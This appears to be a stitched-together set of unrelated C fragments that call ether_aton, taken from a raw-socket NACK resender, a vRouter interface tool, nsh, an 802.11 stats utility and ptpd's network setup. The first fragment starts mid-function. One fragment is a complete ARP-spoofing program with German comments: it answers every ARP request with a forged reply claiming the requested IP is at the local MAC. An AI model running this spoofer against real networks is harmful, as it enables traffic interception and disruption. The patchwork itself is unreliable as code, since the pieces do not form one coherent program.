memcpy(eth->h_dest,ea_dest->ether_addr_octet,6); // eth->h_proto=htons(ETH_P_IP); // iph->src_ip=2; // iph->dest_ip=3; sock_raw_recv = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ; if(sock_raw_recv<0) perror("Socket cannot be created \n"); // printf("sock_raw_recv %d\n",sock_raw_recv ); while(1) { // printf("listening on node2 \n"); data_size = recvfrom(sock_raw , buffer , PACKET_SIZE , 0 , (struct sockaddr *)&dev , (socklen_t*)&saddr_size); if(data_size <=0 ) { printf("Recvfrom error , failed to get packets\n"); exit(0); } iph = (struct ipheader *)(buffer + ETH_HDRLEN); neg = (struct negative *)(buffer + HEADER_LEN-4); if ((iph->src_ip<4) && (iph->session_id==atoi(session))) { if (neg->size == -1) { // printf("REC\n"); break; } // memcpy(data,buffer + HEADER_LEN, PACKET_SIZE - HEADER_LEN); // printf("Data is :%s on thread ****\n",data ); // printf("rcv size:%d and set value %d\n",neg->size,neg->set); // printf("0: %d 1: %d 2: %d \n",neg->rcv_ack[0],neg->rcv_ack[1],neg->rcv_ack[2] ); int i; //printf("ip source : %d\n",iph->src_ip); // for (i=0;i<neg->size;i++) // { // printf("i= %d value= %d\n", i,neg->rcv_ack[i]); // } ////////////////////////////////Start sending NACk////////////////////////////////////////////// // printf("START SENDING NACK\n"); // char *interface="eth4"; // uint8_t *ether_frame; // char ether_frame[PACKET_SIZE]; // struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr)); // struct ether_addr *ea_dest,*ea_src; // ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); // ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr)); // ether_frame=(uint8_t *)calloc(1,PACKET_SIZE*sizeof(uint8_t)); // memset(ether_frame,'a',PACKET_SIZE); // memcpy(ether_frame + HEADER_LEN,map,PACKET_SIZE - HEADER_LEN); // ether_frame[PACKET_SIZE]='\0'; // iph = (struct ipheader *)malloc(sizeof( struct ipheader)); // printf("%d\n", (int)sizeof(struct ipheader)); // layer4 = (struct custom_transport *)malloc(sizeof( struct custom_transport)); // printf("%d\n", (int)sizeof(struct custom_transport)); // ************************************************************************************************** // int sock_raw_recv = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ; // if(sock_raw_recv<0) // perror("Socket cannot be created \n"); eth = (struct ethhdr *)ether_frame; iph = (struct ipheader *)(ether_frame + sizeof(struct ethhdr) ); layer4 = (struct custom_transport *)(ether_frame + HEADER_LEN - 4 ); ea_src=ether_aton("a0:36:9f:08:56:c2"); memcpy(eth->h_source,ea_src->ether_addr_octet,6); ea_dest=ether_aton(destination_mac); memcpy(eth->h_dest,ea_dest->ether_addr_octet,6); eth->h_proto=htons(ETH_P_IP); iph->src_ip=2; iph->dest_ip=3; iph->session_id=atoi(session); // iph->total_len=16; // layer4->seq=0; // layer4->type=1; // memset (&device_recv, 0, sizeof (device_recv)); // if ((device_recv.sll_ifindex = if_nametoindex (interface)) == 0) { // perror ("if_nametoindex() failed to obtain interface index "); // exit (EXIT_FAILURE); // } // printf ("Index for interface %s is %i\n", interface, device_recv.sll_ifindex); // Send ethernet frame to socket. i=0; // gettimeofday(&t1,0); // start=((t1.tv_sec)*1000000+t1.tv_usec); while(i<neg->size) { // layer4->seq=1; // printf("PACKET: %s\n",ether_frame+ HEADER_LEN ); layer4->seq=neg->rcv_ack[i]; //printf("resend seq : %d\n",layer4->seq); memcpy(ether_frame + HEADER_LEN,map+neg->rcv_ack[i]*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN); if ((bytes = sendto (sock_raw_recv, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device_recv, sizeof (device_recv))) <= 0) { perror ("sendto() Failed"); // printf("%d\n",sock_raw_recv ); exit (EXIT_FAILURE); } // sendto (sock_raw_recv, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device_recv, sizeof (device_recv)); i++; // layer4->seq++; // memcpy(ether_frame + HEADER_LEN,map+neg->rcv_ack[i]*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN); } // gettimeofday(&t2,0); // end=((t2.tv_sec)*1000000+t2.tv_usec); // total=(float)((end-start)); // printf("time to send : %f us \n",total); // printf("TIme to start : %ld\n", start); // printf("NACK Packet has been sent \n"); ////////////////////////////////END sending NACk////////////////////////////////////////////// } } printf("Finished\n"); close(sock_raw_recv); close(sock_raw); pthread_exit(NULL); }
static void parse_long_opts(int option_index, char *opt_arg) { errno = 0; if (!*(long_options[option_index].flag)) *(long_options[option_index].flag) = 1; switch (option_index) { case ADD_OPT_INDEX: strncpy(if_name, opt_arg, sizeof(if_name)); if_kindex = if_nametoindex(opt_arg); vr_op = SANDESH_OP_ADD; break; case CREATE_OPT_INDEX: strncpy(if_name, opt_arg, sizeof(if_name)); break; case VRF_OPT_INDEX: vrf_id = strtoul(opt_arg, NULL, 0); if (errno) Usage(); break; case MAC_OPT_INDEX: mac_opt = ether_aton(opt_arg); if (mac_opt) memcpy(vr_ifmac, mac_opt, sizeof(vr_ifmac)); break; case DELETE_OPT_INDEX: vr_op = SANDESH_OP_DELETE; vr_ifindex = strtoul(opt_arg, NULL, 0); if (errno) Usage(); break; case GET_OPT_INDEX: vr_op = SANDESH_OP_GET; vr_ifindex = strtoul(opt_arg, NULL, 0); if (errno) Usage(); break; case POLICY_OPT_INDEX: vr_ifflags |= VIF_FLAG_POLICY_ENABLED; break; case LIST_OPT_INDEX: vr_op = SANDESH_OP_DUMP; break; case TYPE_OPT_INDEX: vr_if_type = vr_get_if_type(optarg); if (vr_if_type == VIF_TYPE_HOST) need_xconnect_if = true; break; case SET_OPT_INDEX: vr_op = SANDESH_OP_ADD; vr_ifindex = strtoul(opt_arg, NULL, 0); if (errno) Usage(); break; case VLAN_OPT_INDEX: vr_ifflags |= VIF_FLAG_SERVICE_IF; vlan_id = strtoul(opt_arg, NULL, 0); if (errno) Usage(); break; case XCONNECT_OPT_INDEX: if_xconnect_kindex = if_nametoindex(opt_arg); if (!if_xconnect_kindex) { printf("%s does not seem to be a valid physical interface name\n", opt_arg); Usage(); } break; case DHCP_OPT_INDEX: vr_ifflags |= VIF_FLAG_DHCP_ENABLED; break; case VHOST_PHYS_OPT_INDEX: vr_ifflags |= VIF_FLAG_VHOST_PHYS; break; default: break; } return; }
int main(int argc, char *argv[]) { int r_sock, w_sock; int packetsize = sizeof(struct ether_header) + sizeof(struct arphdr); char packet[packetsize]; struct ether_header *eth = (struct ether_header *) packet; struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header)); unsigned char arppacket[sizeof(struct arphdr) + sizeof(struct ether_header)]; struct ether_header *spoof_eth = (struct ether_header *)arppacket; struct arphdr *spoof_arp = (struct arphdr *)(arppacket + sizeof(struct ether_header)); struct sockaddr addr; int one = 1; struct ifreq iface; char smac[ETH_ALEN]; if(argc < 2) { printf("%s <device>\n", argv[0]); exit(1); } // Are you root? if(getuid() != 0) { printf("You must be root\n"); exit(1); } // Raw Socket zum lesen if((r_sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) { perror("socket"); exit(1); } // Raw Socket zum senden if((w_sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) { perror("socket"); exit(1); } // MAC Adresse auslesen strcpy(iface.ifr_name, argv[1]); if((ioctl(r_sock, SIOCGIFHWADDR, &iface)) < 0) { perror("ioctl SIOCGIFHWADDR"); exit(1); } else { sprintf(smac,"%02x:%02x:%02x:%02x:%02x:%02x", iface.ifr_hwaddr.sa_data[0] & 0xff, iface.ifr_hwaddr.sa_data[1] & 0xff, iface.ifr_hwaddr.sa_data[2] & 0xff, iface.ifr_hwaddr.sa_data[3] & 0xff, iface.ifr_hwaddr.sa_data[4] & 0xff, iface.ifr_hwaddr.sa_data[5] & 0xff); } // Warte auf ARP Requests und sende ARP Replies while(1) { read(r_sock,packet,packetsize); // Is dieses Paket ein ARP Request? if((eth->ether_type == 1544) && (arp->opcode == 256)) { // Ethernet Header memcpy(spoof_eth->ether_dhost, eth->ether_shost, ETH_ALEN); // Destination MAC memcpy(spoof_eth->ether_shost, smac, ETH_ALEN); // Source MAC spoof_eth->ether_type = htons(ETHERTYPE_ARP); // Packet type // ARP Header spoof_arp->hw_type = htons(ARPHDR_ETHER); // Hardware Address Typ spoof_arp->proto_type = htons(ETH_P_IP); // Protokoll Address Typ spoof_arp->ha_len = ETH_ALEN; // Hardware Address Laenge spoof_arp->pa_len = IP_ALEN; // Protokoll Address Laenge spoof_arp->opcode = htons(ARPOP_REPLY); // ARP OP Typ memcpy(spoof_arp->source_add, (char*)ether_aton(smac), ETH_ALEN); // Sender MAC memcpy(spoof_arp->source_ip, arp->dest_ip, IP_ALEN); // Source IP memcpy(spoof_arp->dest_add, arp->source_add, ETH_ALEN); // Target MAC memcpy(spoof_arp->dest_ip, arp->source_ip, IP_ALEN); // Target IP // Schicke das Paket auf die Reise strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data)); printf("arp reply %s is at %s\n", inet_ntoa(*(struct in_addr*)&spoof_arp->source_ip), smac); if(sendto(w_sock, arppacket, packetsize, 0, &addr, sizeof(addr)) < 0) { perror("send"); exit(1); } } } close(r_sock); close(w_sock); return 0; }
int intlladdr(char *ifname, int ifs, int argc, char **argv) { char *lladdr, llorig[IFNAMSIZ+1]; struct ether_addr *addr; struct ifreq ifr; FILE *llfile; #define LLPREFIX "/var/run/lladdr" char llfn[sizeof(LLPREFIX)+IFNAMSIZ+1]; int set; if (NO_ARG(argv[0])) { argv++; argc--; set = 0; } else set = 1; if (set && argc < 2) { printf ("%% lladdr <link level address>\n"); printf ("%% no lladdr\n"); return(1); } if ((lladdr = get_hwdaddr(ifname)) == NULL) { printf("%% Failed to retrieve current link level address\n"); return(1); } /* * the expectation here is that, on first run of the lladdr command, * after system boot, /var/run/lladdr.%s will not exist and so we * will ALWAYS create it with the interface's current lladdr. * this file is used if 'no lladdr' is ever specified, that way * we know exactly what address to revert back to. also, conf_lladdr * always knows about the default address this way. finally, because * the output to /var/run/lladdr.%s is generated from get_hwdaddr, * and the comparisons will be with new data generated from get_hwdaddr * it will always have the same case and format for easy comparison. */ snprintf(llfn, sizeof(llfn), "%s.%s", LLPREFIX, ifname); if ((llfile = fopen(llfn, "r")) == NULL) { /* llfn not around? create it */ if (set && ((llfile = fopen(llfn, "w")) != NULL)) { fprintf(llfile, "%s", lladdr); fclose(llfile); } else if (set) { printf("%% Failed to open %s for writing: %s\n", llfn, strerror(errno)); return(1); } else { switch(errno) { case ENOENT: printf("%% No saved lladdr to revert back\n"); break; default: printf("%% Failed to read %s: %s\n", llfn, strerror(errno)); } return(1); } } else { fgets(llorig, sizeof(llorig), llfile); fclose(llfile); if (!set && unlink(llfn) != 0) printf("%% Failed to remove %s: %s\n", llfn, strerror(errno)); } /* At this point, llorig will always represent the booted lladdr */ addr = ether_aton(set ? argv[1] : llorig); /* XXX Non-ethernet type ? */ if(addr == NULL) { /* XXX Non-ethernet... */ if (set) { printf("%% MAC addresses must be six hexadecimal " "fields, up to two digits each,\n"); printf("%% separated with colons (1:23:45:ab:cd:ef)\n"); return(1); } else { printf("%% %s corrupted, unable to retrieve original " "lladdr\n", llfn); return(1); } } strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); ifr.ifr_addr.sa_len = ETHER_ADDR_LEN; /* XXX */ ifr.ifr_addr.sa_family = AF_LINK; bcopy(addr, ifr.ifr_addr.sa_data, ETHER_ADDR_LEN); if(ioctl(ifs, SIOCSIFLLADDR, (caddr_t)&ifr) < 0) { switch(errno) { case EINVAL: printf("%% Requested link level address denied\n"); break; default: printf("%% intlladdr: SIOCSIFLLADDR: %s\n", strerror(errno)); } return(1); } return(0); }
int a80211stats_init(int argc, char *argv[]) { #else int main(int argc, char *argv[]) { #endif int c, len; struct ieee80211req_sta_info *si; u_int8_t buf[24*1024], *cp; struct iwreq iwr; int allnodes = 0; const char *ifname = "ath0"; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); if (argc > 1 && strcmp(argv[1], "-i") == 0) { if (argc < 2) { fprintf(stderr, "%s: missing interface name for -i\n", argv[0]); exit(-1); } ifname = argv[2]; argc -= 2, argv += 2; } strncpy(ifr.ifr_name, ifname, sizeof (ifr.ifr_name)); while ((c = getopt(argc, argv, "ai:")) != -1) switch (c) { case 'a': allnodes++; break; case 'i': strncpy(ifr.ifr_name, optarg, sizeof (ifr.ifr_name)); break; default: errx(1, "usage: 80211stats [-a] [-i device] [mac...]\n"); /*NOTREACHED*/ } if (argc == optind && !allnodes) { struct ieee80211_stats stats; /* no args, just show global stats */ ifr.ifr_data = (caddr_t) &stats; if (ioctl(s, SIOCG80211STATS, &ifr) < 0) err(1, ifr.ifr_name); printstats(stdout, &stats); return 0; } if (allnodes) { /* * Retrieve station/neighbor table and print stats for each. */ (void) memset(&iwr, 0, sizeof(iwr)); (void) strncpy(iwr.ifr_name, ifr.ifr_name, sizeof(iwr.ifr_name)); iwr.u.data.pointer = (void *) buf; iwr.u.data.length = sizeof(buf); if (ioctl(s, IEEE80211_IOCTL_STA_INFO, &iwr) < 0) err(1, "unable to get station information"); len = iwr.u.data.length; if (len >= sizeof(struct ieee80211req_sta_info)) { cp = buf; do { si = (struct ieee80211req_sta_info *) cp; print_sta_stats(stdout, si->isi_macaddr); cp += si->isi_len, len -= si->isi_len; } while (len >= sizeof(struct ieee80211req_sta_info)); } } else { /* * Print stats for specified stations. */ for (c = optind; c < argc; c++) { const struct ether_addr *ea = ether_aton(argv[c]); if (ea != NULL) print_sta_stats(stdout, ea->ether_addr_octet); } } return 0; }
/** * Init all network transports * * @param netPath * @param rtOpts * @param ptpClock * * @return TRUE if successful */ Boolean netInit(NetPath * netPath, RunTimeOpts * rtOpts, PtpClock * ptpClock) { int temp; struct sockaddr_in addr; #ifdef PTPD_PCAP struct bpf_program program; char errbuf[PCAP_ERRBUF_SIZE]; #endif DBG("netInit\n"); #ifdef PTPD_PCAP netPath->pcapEvent = NULL; netPath->pcapGeneral = NULL; netPath->pcapEventSock = -1; netPath->pcapGeneralSock = -1; #endif netPath->generalSock = -1; netPath->eventSock = -1; #ifdef PTPD_PCAP if (rtOpts->transport == IEEE_802_3) { netPath->headerOffset = PACKET_BEGIN_ETHER; #ifdef HAVE_STRUCT_ETHER_ADDR_OCTET memcpy(netPath->etherDest.octet, ether_aton(PTP_ETHER_DST), ETHER_ADDR_LEN); memcpy(netPath->peerEtherDest.octet, ether_aton(PTP_ETHER_PEER), ETHER_ADDR_LEN); #else memcpy(netPath->etherDest.ether_addr_octet, ether_aton(PTP_ETHER_DST), ETHER_ADDR_LEN); memcpy(netPath->peerEtherDest.ether_addr_octet, ether_aton(PTP_ETHER_PEER), ETHER_ADDR_LEN); #endif /* HAVE_STRUCT_ETHER_ADDR_OCTET */ } else #endif netPath->headerOffset = PACKET_BEGIN_UDP; /* open sockets */ if ((netPath->eventSock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0 || (netPath->generalSock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { PERROR("failed to initialize sockets"); return FALSE; } if(!testInterface(rtOpts->ifaceName, rtOpts)) return FALSE; netPath->interfaceInfo.addressFamily = AF_INET; /* the if is here only to get rid of an unused result warning. */ if( getInterfaceInfo(rtOpts->ifaceName, &netPath->interfaceInfo)!= 1) return FALSE; /* No HW address, we'll use the protocol address to form interfaceID -> clockID */ if( !netPath->interfaceInfo.hasHwAddress && netPath->interfaceInfo.hasAfAddress ) { uint32_t addr = netPath->interfaceInfo.afAddress.s_addr; memcpy(netPath->interfaceID, &addr, 2); memcpy(netPath->interfaceID + 4, &addr + 2, 2); /* Initialise interfaceID with hardware address */ } else { memcpy(&netPath->interfaceID, &netPath->interfaceInfo.hwAddress, sizeof(netPath->interfaceID) <= sizeof(netPath->interfaceInfo.hwAddress) ? sizeof(netPath->interfaceID) : sizeof(netPath->interfaceInfo.hwAddress) ); } DBG("Listening on IP: %s\n",inet_ntoa(netPath->interfaceInfo.afAddress)); #ifdef PTPD_PCAP if (rtOpts->pcap == TRUE) { int promisc = (rtOpts->transport == IEEE_802_3 ) ? 1 : 0; if ((netPath->pcapEvent = pcap_open_live(rtOpts->ifaceName, PACKET_SIZE, promisc, PCAP_TIMEOUT, errbuf)) == NULL) { PERROR("failed to open event pcap"); return FALSE; } if (pcap_compile(netPath->pcapEvent, &program, ( rtOpts->transport == IEEE_802_3 ) ? "ether proto 0x88f7": ( rtOpts->ip_mode != IPMODE_MULTICAST ) ? "udp port 319" : "host (224.0.1.129 or 224.0.0.107) and udp port 319" , 1, 0) < 0) { PERROR("failed to compile pcap event filter"); pcap_perror(netPath->pcapEvent, "ptpd2"); return FALSE; } if (pcap_setfilter(netPath->pcapEvent, &program) < 0) { PERROR("failed to set pcap event filter"); return FALSE; } pcap_freecode(&program); if ((netPath->pcapEventSock = pcap_get_selectable_fd(netPath->pcapEvent)) < 0) { PERROR("failed to get pcap event fd"); return FALSE; } if ((netPath->pcapGeneral = pcap_open_live(rtOpts->ifaceName, PACKET_SIZE, promisc, PCAP_TIMEOUT, errbuf)) == NULL) { PERROR("failed to open general pcap"); return FALSE; } if (rtOpts->transport != IEEE_802_3) { if (pcap_compile(netPath->pcapGeneral, &program, ( rtOpts->ip_mode != IPMODE_MULTICAST ) ? "udp port 320" : "host (224.0.1.129 or 224.0.0.107) and udp port 320" , 1, 0) < 0) { PERROR("failed to compile pcap general filter"); pcap_perror(netPath->pcapGeneral, "ptpd2"); return FALSE; } if (pcap_setfilter(netPath->pcapGeneral, &program) < 0) { PERROR("failed to set pcap general filter"); return FALSE; } pcap_freecode(&program); if ((netPath->pcapGeneralSock = pcap_get_selectable_fd(netPath->pcapGeneral)) < 0) { PERROR("failed to get pcap general fd"); return FALSE; } } } #endif #ifdef PTPD_PCAP if(rtOpts->transport == IEEE_802_3) { close(netPath->eventSock); netPath->eventSock = -1; close(netPath->generalSock); netPath->generalSock = -1; /* TX timestamp is not generated for PCAP mode and Ethernet transport */ #ifdef SO_TIMESTAMPING netPath->txTimestampFailure = TRUE; #endif /* SO_TIMESTAMPING */ } else { #endif /* save interface address for IGMP refresh */ netPath->interfaceAddr = netPath->interfaceInfo.afAddress; DBG("Local IP address used : %s \n", inet_ntoa(netPath->interfaceInfo.afAddress)); temp = 1; /* allow address reuse */ if (setsockopt(netPath->eventSock, SOL_SOCKET, SO_REUSEADDR, &temp, sizeof(int)) < 0 || setsockopt(netPath->generalSock, SOL_SOCKET, SO_REUSEADDR, &temp, sizeof(int)) < 0) { DBG("failed to set socket reuse\n"); } /* bind sockets */ /* * need INADDR_ANY to allow receipt of multi-cast and uni-cast * messages */ /* why??? */ if (rtOpts->pidAsClockId) { if (inet_pton(AF_INET, DEFAULT_PTP_DOMAIN_ADDRESS, &addr.sin_addr) < 0) { PERROR("failed to convert address"); return FALSE; } } else addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; addr.sin_port = htons(PTP_EVENT_PORT); if (bind(netPath->eventSock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { PERROR("failed to bind event socket"); return FALSE; } addr.sin_port = htons(PTP_GENERAL_PORT); if (bind(netPath->generalSock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { PERROR("failed to bind general socket"); return FALSE; } #ifdef USE_BINDTODEVICE #ifdef linux /* * The following code makes sure that the data is only * received on the specified interface. Without this option, * it's possible to receive PTP from another interface, and * confuse the protocol. Calling bind() with the IP address * of the device instead of INADDR_ANY does not work. * * More info: * http://developerweb.net/viewtopic.php?id=6471 * http://stackoverflow.com/questions/1207746/problems-with-so-bindtodevice-linux-socket-option */ if ( rtOpts->ip_mode != IPMODE_HYBRID ) if (setsockopt(netPath->eventSock, SOL_SOCKET, SO_BINDTODEVICE, rtOpts->ifaceName, strlen(rtOpts->ifaceName)) < 0 || setsockopt(netPath->generalSock, SOL_SOCKET, SO_BINDTODEVICE, rtOpts->ifaceName, strlen(rtOpts->ifaceName)) < 0){ PERROR("failed to call SO_BINDTODEVICE on the interface"); return FALSE; } #endif #endif /* Set socket dscp */ if(rtOpts->dscpValue) { if (setsockopt(netPath->eventSock, IPPROTO_IP, IP_TOS, &rtOpts->dscpValue, sizeof(int)) < 0 || setsockopt(netPath->generalSock, IPPROTO_IP, IP_TOS, &rtOpts->dscpValue, sizeof(int)) < 0) { PERROR("Failed to set socket DSCP bits"); return FALSE; } } /* send a uni-cast address if specified (useful for testing) */ if(!hostLookup(rtOpts->unicastAddress, &netPath->unicastAddr)) { netPath->unicastAddr = 0; } if(rtOpts->ip_mode != IPMODE_UNICAST) { /* init UDP Multicast on both Default and Peer addresses */ if (!netInitMulticast(netPath, rtOpts)) return FALSE; /* set socket time-to-live */ if(!netSetMulticastTTL(netPath->eventSock,rtOpts->ttl) || !netSetMulticastTTL(netPath->generalSock,rtOpts->ttl)) return FALSE; /* start tracking TTL */ netPath->ttlEvent = rtOpts->ttl; netPath->ttlGeneral = rtOpts->ttl; } #ifdef SO_TIMESTAMPING /* Reset the failure indicator when (re)starting network */ netPath->txTimestampFailure = FALSE; /* for SO_TIMESTAMPING we're receiving transmitted packets via ERRQUEUE */ temp = 0; #else /* enable loopback */ temp = 1; #endif /* make timestamps available through recvmsg() */ if (!netInitTimestamping(netPath,rtOpts)) { ERROR("Failed to enable packet time stamping\n"); return FALSE; } #ifdef SO_TIMESTAMPING /* If we failed to initialise SO_TIMESTAMPING, enable mcast loopback */ if(netPath->txTimestampFailure) temp = 1; #endif if(!netSetMulticastLoopback(netPath, temp)) { return FALSE; } #ifdef PTPD_PCAP } #endif /* Compile ACLs */ if(rtOpts->timingAclEnabled) { freeIpv4AccessList(&netPath->timingAcl); netPath->timingAcl=createIpv4AccessList(rtOpts->timingAclPermitText, rtOpts->timingAclDenyText, rtOpts->timingAclOrder); } if(rtOpts->managementAclEnabled) { freeIpv4AccessList(&netPath->managementAcl); netPath->managementAcl=createIpv4AccessList(rtOpts->managementAclPermitText, rtOpts->managementAclDenyText, rtOpts->managementAclOrder); } return TRUE; }